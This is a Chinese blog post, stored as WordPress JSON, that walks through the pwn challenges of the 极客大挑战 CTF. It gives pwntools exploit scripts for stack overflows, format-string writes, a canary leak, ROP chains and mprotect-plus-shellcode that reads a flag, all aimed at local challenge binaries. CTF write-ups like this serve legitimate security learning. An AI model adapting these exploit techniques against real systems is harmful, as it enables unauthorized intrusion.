{"id":404,"date":"2021-12-02T23:53:23","date_gmt":"2021-12-02T15:53:23","guid":{"rendered":"https:\/\/dreamc.top\/?p=404"},"modified":"2021-12-02T23:53:23","modified_gmt":"2021-12-02T15:53:23","slug":"%e6%9e%81%e5%ae%a2%e5%a4%a7%e6%8c%91%e6%88%98pwn%e8%af%a6%e8%a7%a3","status":"publish","type":"post","link":"https:\/\/dreamc.top\/index.php\/2021\/12\/02\/%e6%9e%81%e5%ae%a2%e5%a4%a7%e6%8c%91%e6%88%98pwn%e8%af%a6%e8%a7%a3\/","title":{"rendered":"\u6781\u5ba2\u5927\u6311\u6218pwn\u8be6\u89e3"},"content":{"rendered":"<h2><span class=\"ez-toc-section\" id=\"%E5%89%8D%E8%A8%80\"><\/span>\u524d\u8a00<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u5b66\u4e60pwn\u00a0 \u00a0 \u00a0 \u9644\u4ef6\u94fe\u63a5\uff08\u591a\u542b\u4e00\u9053pwn\u4e8c\u53c9\u6811\u7684\u9898[\u53ef\u4ee5\u8bd5\u8bd5]\uff09\uff1ahttps:\/\/pan.baidu.com\/s\/1MBSTpnmFcbISxkNlGGaaOw <br>\u63d0\u53d6\u7801\uff1aabcd<\/p>\n<h2><span class=\"ez-toc-section\" id=\"check_in\"><\/span>check in<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u67e5\u770b\u4fdd\u62a4\u540e\u8fd0\u884c\u4e0b<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" height=\"580\" width=\"1000\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/11\/1-1.png?resize=1000%2C580&#038;ssl=1\" alt=\"\" class=\"wp-image-406\"><\/figure>\n<p>\u8ba9\u6211\u4eec\u7b97\u52a0\u51cf\u4e58\u9664\uff0c\u80fd\u7b80\u5355\u7528pwntools\u5c31\u53ef\u4ee5\u505a\u3002\u6211\u4eec\u9700\u8981\u77e5\u9053python\u7684eval\u51fd\u6570\u662f\u7528\u6765\u6267\u884c\u4e00\u4e2a\u5b57\u7b26\u4e32\u8868\u8fbe\u5f0f\uff0c\u5e76\u8fd4\u56de\u8868\u8fbe\u5f0f\u7684\u503c\u3002\u4e0b\u9762\u662fexp<\/p>\n<div class=\"wp-block-jetpack-markdown\"><pre><code>from pwn import*\ncontext(arch=&quot;amd64&quot;,os=&#039;linux&#039;,log_level=&#039;debug&#039;)\np=process(&#039;.\/math&#039;)\n\nfor i in range(200):\np.recvuntil(&#039;num1:&#039;)\na=p.recvuntil(b&#039;\\n&#039;)\np.recvuntil(b&#039;num2:&#039;)\nb=p.recvuntil(b&#039;\\n&#039;)\np.recvuntil(b&#039;The sign of this calculation is &#039;)\nc=p.recv(1)\na=str(int(a))\nb=str(int(b))\nc=chr(ord(c))\nif c == &quot;\/&quot;: \n    c =&quot;\/\/&quot;\nd=eval(a+c+b)\nd=str(d)\nprint(a,c,b,&#039;=&#039;,d)\nsleep(0.2)\np.sendlineafter(b&#039;Give me your answer!!:\\n&#039;,d)\n\np.interactive()\n<\/code><\/pre>\n<p>\u8fd9\u91cc\u9700\u8981\u6ce8\u610f\u8981\u8f6c\u6362\u6570\u636e\u7c7b\u578b\uff0c\u6211\u53d1\u73b0<code>&quot;\/&quot;<\/code>\u5355\u4e2a\u9664\u6cd5\u7b97\u51fa\u6765\u6709\u5c0f\u6570\uff0c\u7a0b\u5e8f\u5c31\u8bf4\u7b97\u9519\u4e86\uff0c\u6211\u4eec\u5c31\u7528<code>&quot;\/\/&quot;<\/code>\u53d6\u6574\u3002\u8fd0\u7b97\u7b26\u6570\u636e\u8f6c\u6362\u8981\u5728\u5224\u65ad\u4e4b\u524d\uff0c\u56e0\u4e3a<code>&quot;\/\/&quot;<\/code>\u662f\u4e24\u4e2a\u5b57\u7b26\uff0c\u6570\u636e\u8f6c\u6362\u4f1a\u51fa\u9519\u3002<\/p>\n<h1><span class=\"ez-toc-section\" id=\"%E6%81%8B%E7%88%B1%E5%B0%8F%E6%B8%B8%E6%88%8F\"><\/span>\u604b\u7231\u5c0f\u6e38\u620f<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>\u6211\u4eec\u5148\u68c0\u67e5\u4fdd\u62a4\uff0c\u7136\u540e\u8fd0\u884c\u4e0b\uff0c\u968f\u4fbf\u8f93\u5165\uff0c\u7136\u540e\u5c31getshell\u4e86\uff1f\uff1f<\/p>\n<\/div>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" height=\"600\" width=\"1000\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/11\/0INYD5WZVLYQ%40BMVS.png?resize=1000%2C600&#038;ssl=1\" alt=\"\" class=\"wp-image-408\"><\/figure>\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/11\/6POGH9KLI82WPXHAMNM.png?w=1000&#038;ssl=1\" alt=\"\" class=\"wp-image-407\"><\/figure>\n<p>l\u7684ASCII\u7801\u6bd4h\u5927\uff0c\u65e0\u8bba\u8f93\u4ec0\u4e48\u90fd\u4f1a\u8fd0\u884csystem(&#8220;\/bin\/sh&#8221;)\u3002<\/p>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ret2xxone\"><\/span>ret2xxone<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u53d1\u73b0\u8f93\u5165\u6570\u636e\u4e0e\u968f\u673a\u6570\u6bd4\u8f83\uff0c\u7531\u4e8e\u672a\u8bbe\u7f6e\u968f\u673a\u5316\u79cd\u5b50\uff0c\u968f\u673a\u6570\u56fa\u5b9a\uff0c\u6211\u4eec\u53bb\u627e\u5230\u968f\u673a\u6570\uff0c\u7136\u540e\u5229\u7528\u540e\u9762\u7684v1\u6808\u6ea2\u51fa\u3002 \uff08\u80fd\u627e\u5230system\u548cbinsh\u5730\u5740\uff09 <\/p>\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/11\/KH366VERWNXUDK83.png?w=1000&#038;ssl=1\" alt=\"\" class=\"wp-image-410\"><\/figure>\n<p>\u901a\u8fc7\u8c03\u8bd5\uff0c\u627e\u5230\u6bd4\u8f83\u7684\u4ee3\u7801\u53d1\u73b0\u4e86\u5728\u6808\u4e2d\u7684\u968f\u673a\u6570<code>0x6b8b4567<\/code>,\u7136\u540e\u53ef\u4ee5\u5229\u7528\u6f0f\u6d1e\u4e86<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" height=\"485\" width=\"1000\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/11\/WMNPTY61360OJPNFB.png?resize=1000%2C485&#038;ssl=1\" alt=\"\" class=\"wp-image-411\"><\/figure>\n<div class=\"wp-block-jetpack-markdown\"><pre><code>exp\u5982\u4e0b\uff1a\nfrom pwn import *\np=process(&#039;.\/ret2xx&#039;)\ncontext.log_level = &quot;debug&quot;\np.recvuntil(&#039;Try your best to solve it!\\n&#039;)\np.send(p32(0x6b8b4567))\npayload = b&#039;a&#039;*30 + p32(0x80483C0) + b&#039;aaaa&#039; + p32(0x80486D0)\np.sendline(payload)\np.interactive()\n\uff080x80483c0\u662fsystem\u5730\u5740\uff0c0x80486d0\u662fbinsh\u5730\u5740\uff0c&#039;aaaa&#039;\u662fsystem\u8fd4\u56de\u5730\u5740\uff09\n<\/code><\/pre>\n<h1><span class=\"ez-toc-section\" id=\"%E6%81%8B%E7%88%B1%E5%B0%8F%E6%B8%B8%E6%88%8F2\"><\/span>\u604b\u7231\u5c0f\u6e38\u620f2<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>\u53d1\u73b0\u4e3b\u51fd\u6570\u6709\u6808\u6ea2\u51fa\uff0c\u8986\u76d6\u53d8\u91cf\u4e3aloveyou\u5373\u53efgetshell\u3002<\/p>\n<pre><code>int __cdecl main(int argc, const char **argv, const char **envp)\n  {\n  char buf[24]; \/\/ [rsp+0h] [rbp-20h] BYREF\n  char s2[8]; \/\/ [rsp+18h] [rbp-8h] BYREF\n\n  strcpy(s2, &quot;hateyou&quot;);\n  init(argc, argv, envp);\n  puts(&amp;s);\n  read(0, buf, 0x20uLL);\n  if ( !strcmp(loveyou, s2) )\n  {\n    puts(&amp;byte_402074);\n    system(&quot;\/bin\/sh&quot;);\n    exit(0);\n  }\n  puts(&amp;byte_402098);\n  return 0;\n}\nexp\u5982\u4e0b\uff1a\nfrom pwn import *\np=process(&#039;.\/pwn111&#039;)\ncontext.log_level=&#039;debug&#039;\np.recvuntil(&#039;\u4f60\u60f3\u5bf9ta\u8bf4\u4ec0\u4e48\\n&#039;)\np.send(b&#039;a&#039;*24+b&#039;loveyou&#039;)\np.interactive()\n<\/code><\/pre>\n<h1><span class=\"ez-toc-section\" id=\"easyfmt\"><\/span>easyfmt<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>\u5148\u884c\u60ef\u4f8b\u540e(\u67e5\u770b\u4fdd\u62a4\u673a\u5236\u8fd0\u884c\u4e0b)\uff0c\u6709\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\uff0c\u8fd8\u6709\u540e\u95e8\u51fd\u6570\uff0c\u5e76\u4e14\u4ed6\u628a\u6211\u4eec\u9700\u8981\u4fee\u6539\u7684\u5730\u5740\u6253\u5370\u51fa\u6765\u4e86\uff0c\u4e8e\u662f\uff0c\u6211\u4eec\u7528fmtarg\u547d\u4ee4\u627e\u51fa\u8be5\u5730\u5740\u5199\u5165\u7684\u53c2\u6570\u504f\u79fb\u662f15\u4e2a<\/p>\n<\/div>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" height=\"603\" width=\"1000\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/11\/YQG%40OOJ1GV4ET.png?resize=1000%2C603&#038;ssl=1\" alt=\"\" class=\"wp-image-414\"><\/figure>\n<div class=\"wp-block-jetpack-markdown\"><p>\u7ed5\u8fc7\u4e4b\u540e\u6211\u4eec\u5229\u7528\u4e0b\u9762\u7684\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\u4fee\u6539\u8fd4\u56de\u5730\u5740\uff0c\u6211\u4eec\u8c03\u8bd5\u4e4b\u540e\u53d1\u73b0\u504f\u79fb\u662f7\uff0c<\/p>\n<\/div>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" height=\"613\" width=\"1000\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/12\/PZWTXUHGRJA_M%404UNXQ.png?resize=1000%2C613&#038;ssl=1\" alt=\"\" class=\"wp-image-415\"><\/figure>\n<p>\u6211\u4eec\u627e\u5230\u8fd4\u56de\u5730\u5740\u5728var_3+16\u7684\u4f4d\u7f6e\uff0c\u91cc\u9762\u5b58\u653e\u7684\u662f<code>0x084873e<\/code> \uff0c\u6211\u4eec\u8981\u6539\u6210\u540e\u95e8\u51fd\u6570\u5730\u5740\uff0c\u53ea\u9700\u5c06\u4f4e\u5730\u5740\u76843e\u6362\u62104d\u5373\u53ef\u3002<\/p>\n<div class=\"wp-block-jetpack-markdown\"><pre><code>exp\u5982\u4e0b\uff1a\nfrom pwn import *\nio=process(&#039;.\/fmt&#039;)\ncontext.log_level=&#039;debug&#039;\nio.recvuntil(&quot;First step:\\n&quot;)\npwnnum_addr=int(io.recvuntil(&#039;\\n&#039;,drop=True),16)\npayload=p32(pwnnum_addr)+b&quot;%08d&quot;+b&quot;%15$n&quot;\nio.sendline(payload)\ngdb.attach(io,&#039;b printf&#039;)\nio.recvuntil(&quot;there\\n&quot;)\npayload2=p32(pwnnum_addr+16)+b&quot;%73c%7$hhn&quot;\nprint (payload2)\nio.sendline(payload2)\nio.interactive()\n<\/code><\/pre>\n<p>getshell\u540e\u53d1\u73b0\u4e0d\u80fd\u547d\u4ee4\u4e0d\u80fd\u7528\uff0c\u8fd9\u662f\u56e0\u4e3a\u8be5\u7a0b\u5e8f\u5728\u8fd4\u56deshell\u65f6\u628a\u6807\u51c6\u8f93\u51fa\u63cf\u8ff0\u7b26\u5173\u4e86\uff0c\u6211\u4eec\u9700\u8981\u91cd\u5b9a\u5411\u5230\u672a\u5173\u7684\u6807\u51c6\u8f93\u5165\u63cf\u8ff0\u7b26\uff0c\u6765\u8fbe\u5230\u4f7f\u7528\u547d\u4ee4\u83b7\u53d6flag\u7684\u503c\u3002\u6267\u884cexec 1&gt;&amp;0 (\u91cd\u5b9a\u5411\u76f8\u5173\u77e5\u8bc6\u53ef\u81ea\u884c\u767e\u5ea6\u5b66\u4e60\uff0cexec\u76f8\u5f53\u4e8e\u5bf9\u5176\u6c38\u4e45\u7ed1\u5b9a\u4e86)\u540e\u5c31\u53ef\u4ee5\u6b63\u5e38\u6267\u884c\u547d\u4ee4\u3002<\/p>\n<h1><span class=\"ez-toc-section\" id=\"easycanary\"><\/span>easycanary<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>\u5148\u884c\u60ef\u4f8b\uff0c\u5f00\u542f\u4e86canary\u4fdd\u62a4\uff0c\u6709\u540e\u95e8\u51fd\u6570\uff0c\u53ef\u8f93\u5165\u4e24\u6b21\uff0c\u6709\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\uff0c\u5229\u7528\u601d\u8def\u5c31\u662f\u5229\u7528\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\u627e\u5230\u6cc4\u9732canary\uff0c\u7136\u540e\u628a\u8fd4\u56de\u5730\u5740\u4fee\u6539\u5230\u540e\u95e8\u51fd\u6570\u5730\u5740\u3002\nexp\u5982\u4e0b<\/p>\n<pre><code>from pwn import *\np = process(&#039;.\/canary&#039;)\np.sendline(b&#039;%11$p&#039;)\np.recvuntil(b&#039;0x&#039;)\ncanary = int(p.recv(16),16) #canary\u662f7\u4e2a\u5b57\u8282\u52a0\\x00\u7ec4\u6210\u7684\uff0c\u6240\u4ee5\u8981\u63a5\u653616\u4e2a\u5341\u516d\u8fdb\u5236\u6570\u3002\nprint (canary)\npayload = b&#039;a&#039;*0x28 + p64(canary) + p64(0xdeadbeef) + p64(0x4011d6) #0x4011d6\u662f\u540e\u95e8\u51fd\u6570\u5730\u5740\u3002\np.sendline(payload)\np.interactive()\n<\/code><\/pre>\n<h1><span class=\"ez-toc-section\" id=\"ret2baby\"><\/span>ret2baby<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>\u5148\u884c\u60ef\u4f8b\u540e\uff0c\u53d1\u73b0\u6709system\u4f46\u4e0d\u80fd\u7528\uff0c\u6709binsh\uff0c\u4f46\u662f\u6709\u4e2a\u5c0f\u5c0f\u7684\u5751\uff0c\u5c31\u662f\u4e0d\u80fd\u76f4\u63a5\u7528\u90a3\u4e2a\u5b57\u7b26\u4e32\u7684\u9996\u5730\u5740\uff0c\u524d\u9762\u51e0\u4e2a\u5b57\u7b26\u662f\u9519\u7684\uff0c\u6211\u4eec\u8981\u4ece\u540e\u9762\u53d6\uff0c\u7136\u540e\u53d1\u73b0\u6709\u6570\u7ec4\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u521a\u597d\u53ef\u4ee5\u6539magic_number\u83b7\u53d6system\u5730\u5740\uff0c\u9700\u8981pop rdi;ret \u5b58binsh\u5b57\u7b26\u4e32\uff0c\u7136\u540e\u9700\u8981ret\u6307\u4ee4\u6267\u884csystem\u51fd\u6570\uff0cexp\u5982\u4e0b\uff1a<\/p>\n<pre><code>from pwn import *\np = process(&#039;.\/ret2&#039;)\ncontext.log_level=&quot;debug&quot;\nbinsh = 0x4014D4\nrdi_addr = 0x401273\nret = 0x400318\np.sendlineafter(b&#039;please input your position\\n&#039;,b&#039;20&#039;)\np.sendlineafter(b&#039;plz input your value\\n&#039;,b&#039;0&#039;)\np.recvuntil(b&#039;this is a gitf &#039;)\nsystem = int(p.recv(14),16)\nprint (hex(system))\npayload = b&#039;a&#039;*(0x1a) + p64(rdi_addr) + p64(binsh) + p64(ret) + \np64(system)\np.sendline(payload)\np.interactive()\n<\/code><\/pre>\n<p>\u5176\u5b9e\u8fd8\u6709\u4e00\u79cd\u601d\u8def\u5c31\u662f\u7206\u7834\uff0c\u4ed6\u968f\u673a\u6570\u79cd\u5b50\u6ca1\u53d8\uff0c\u968f\u673a\u6570\u6392\u5217\u5c31\u662f\u56fa\u5b9a\u7684\uff0c\u56e0\u6b64\u53ef\u4ee5\u5229\u7528\u8fd9\u4e2a\u53bb\u6bd4\u8f83magic_number\u3002<\/p>\n<h1><span class=\"ez-toc-section\" id=\"pwn777\"><\/span>pwn777<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>\u5148\u884c\u60ef\u4f8b\uff0c\u6211\u4eec\u53d1\u73b0\u5f00\u4e86Full Relro\u4fdd\u62a4\uff0c\u4e0d\u80fd\u5229\u7528.got.plt\u8868\u4e86,\u8fd8\u6709NX\u4fdd\u62a4\uff0c\u4e0d\u80fd\u76f4\u63a5\u5199\u5165shellcode\u5230\u5185\u5b58\u5355\u5143\u6267\u884c\uff0c\u8fd8\u6709PIE\u4fdd\u62a4\uff0c\u6211\u4eec\u4e0d\u80fd\u76f4\u63a5\u5229\u7528\u5730\u5740\u4e86\uff0c\u4f46\u6ca1\u6709\u5f00canary\u4fdd\u62a4\uff0c\u6240\u4ee5\u8003\u8651\u8fd8\u662f\u6808\u6ea2\u51fa\u3002\u7b2c\u4e00\u6b21\u8f93\u5165\u53ef\u4ee5\u6808\u6ea2\u51fa\u4fee\u6539\u968f\u673a\u6570\u79cd\u5b50\uff0c\u7ed5\u8fc7\u968f\u673a\u6570\u6bd4\u8f83\u3002\u7ed5\u8fc7\u4e4b\u540e\u53d1\u73b0\u662f\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\uff0c\u6211\u4eec\u7528\u5b83\u5148\u6cc4\u9732\u5730\u5740\uff0c\u504f\u79fb\u662f6\u3002\u6ca1\u601d\u8def\u4e86\uff0c\u767e\u5ea6\u627e\u5230\u4e86\u67d0\u5e08\u5085\u5199\u7684wp\uff0c\u5b66\u4e60\u4e86\u4e0bhttps:\/\/www.cnblogs.com\/winmt\/articles\/15554191.html\u3002\n\u56e0\u4e3a\u5f00\u4e86sandbox\uff0c\u7981\u7528\u4e86execve\uff0c\u90a3\u4e48one_gadget\u4e0esystem\u8fd9\u4e9b\u4e5f\u90fd\u4e0d\u80fd\u7528\uff0c\u6240\u4ee5\u8003\u8651\u5229\u7528mprotect\u4fee\u6539\u6743\u9650\uff0c\u518d\u76f4\u63a5\u6253orw\u7684shellcode\u62ffflag\u3002\u5148\u83b7\u53d6libc\u5730\u5740\uff0c\u518d\u5f97\u5230mprotect\u5730\u5740\uff0c\u518d\u83b7\u53d6\u4e3b\u51fd\u6570rbp\u5730\u5740\u548c\u4e3b\u51fd\u6570\u5730\u5740\uff0c\u5199\u5165\u6743\u9650\u540e\uff0c\u5199shellcode\u6267\u884c\uff0cexp\u5982\u4e0b\uff1a<\/p>\n<pre><code>from pwn import *\nfrom ctypes import *\ncontext(os = &quot;linux&quot;, arch = &quot;amd64&quot;, log_level = &quot;debug&quot;)\nio=process(&#039;.\/pwn&#039;)\nlibc=ELF(&quot;libc-2.23.so&quot;)\nlib=cdll.LoadLibrary(&quot;libc.so.6&quot;)\nio.sendline(b&#039;a&#039;*0x18+p32(0))\nlib.srand(0)\nfor i in range(10):\n    io.sendline(str(lib.rand()))\nio.sendline(b&#039;%13$p&#039;)\nio.recvuntil(&quot;best!\\n&quot;)\nlibc_addr = int(io.recv(14)[2:14],16)\nlibc_base = libc_addr - 240 - libc.sym[&quot;__libc_start_main&quot;]\nlog.info(&#039;LIBC:\\t&#039; + hex(libc_base))\nmprotect_addr = libc_base+ libc.sym[&quot;mprotect&quot;]\nlog.info(&#039;mprotect_addr:\\t&#039; + hex(mprotect_addr))\npop_rdi=libc_base+0x21112\nprint(&quot;pop_rdi:&quot;+hex(pop_rdi))\npop_rsi=libc_base+0x202f8\nprint(&quot;pop_rsi:&quot;+hex(pop_rsi))\npop_rdx=libc_base+0x1b92\nprint(&quot;pop_rdx:&quot;+hex(pop_rdx))\npayload=b&#039;%6$p&#039;#main_rbp\nio.sendline(payload)\nmain_rbp = int(io.recv(14)[10:14],16)\npayload=b&#039;%11$p&#039;#main_addr+30\nio.sendline(payload)\nmain_addr=int(io.recv(14)[2:14],16)-0x30\nload_base=main_addr-0x1678\nnewstack_addr=load_base+0x4060+8\nleave_addr=load_base+0x1676\nret_stack=main_rbp+8\npayload=flat([&quot;%&quot;,str(ret_stack),&quot;c%6$hn&quot;])\nio.sendline(payload)\noffset=leave_addr&amp;0xff\npayload=flat([&quot;%&quot;,str(offset),&quot;c%10$hhn&quot;])\nio.sendline(payload)\npayload=flat([&quot;%&quot;,str(main_rbp),&quot;c%15$hn&quot;])\nio.sendline(payload)\npayload=flat([&quot;%&quot;,str(newstack_addr&amp;0xffff),&quot;c%41$hn&quot;])\nio.sendline(payload)\npayload=flat([&quot;%&quot;,str(main_rbp+2),&quot;c%15$hn&quot;])\nio.sendline(payload)\npayload=flat([&quot;%&quot;,str((newstack_addr&gt;&gt;16)&amp;0xffff),&quot;c%41$hn&quot;])\nio.sendline(payload)\npayload=flat([&quot;%&quot;,str(main_rbp+4),&quot;c%15$hn&quot;])\nio.sendline(payload)\nmyrbp=((newstack_addr)&gt;&gt;32)&amp;0xffff\npayload=flat([&quot;%&quot;,str(myrbp),&quot;c%41$hn&quot;])\nio.sendline(payload)\n\nshellcode=&#039;&#039;&#039;\n   xor rax, rax\n   xor rdi, rdi\n   xor rsi, rsi\n   xor rdx, rdx\n   mov rax, 2\n   mov rdi, 0x67616c662f2e  (\u6b64\u5904\u4e3a.\/flag)\n   push rdi\n   mov rdi, rsp\n   syscall\n\n   mov rdx, 0x100\n   mov rsi, rdi\n   mov rdi, rax\n   mov rax, 0\n   syscall\n\n   mov rdi, 1\n   mov rax, 1\n   syscall\n&#039;&#039;&#039;\n\npayload=b&quot;jiaraniloveyou~\\x00&quot;\npayload+=p64(pop_rdi)+p64((newstack_addr)&amp;0xFFFFFFFFFFFFF000)\npayload+=p64(pop_rsi)+p64(0x1000)\npayload+=p64(pop_rdx)+p64(7)\npayload+=p64(mprotect_addr)\npayload+=p64(newstack_addr+len(payload))\npayload+=asm(shellcode)\nio.sendline(payload)\nio.interactive()<\/code><\/pre>\n<\/div>\n<!--more-->\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>\u524d\u8a00 \u5b66\u4e60pwn\u00a0 \u00a0 \u00a0 \u9644\u4ef6\u94fe\u63a5\uff08\u591a\u542b\u4e00\u9053pwn\u4e8c\u53c9\u6811\u7684\u9898[\u53ef\u4ee5\u8bd5\u8bd5]\uff09\uff1a<a href=\"https:\/\/pan.baid\">https:\/\/pan.baid<\/a> [&hellip;]<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"advanced_seo_description":"","jetpack_seo_html_title":"","jetpack_seo_noindex":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[5],"tags":[],"class_list":["post-404","post","type-post","status-publish","format-standard","hentry","category-ctf"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts\/404","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/comments?post=404"}],"version-history":[{"count":0,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts\/404\/revisions"}],"wp:attachment":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/media?parent=404"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/categories?post=404"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/tags?post=404"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}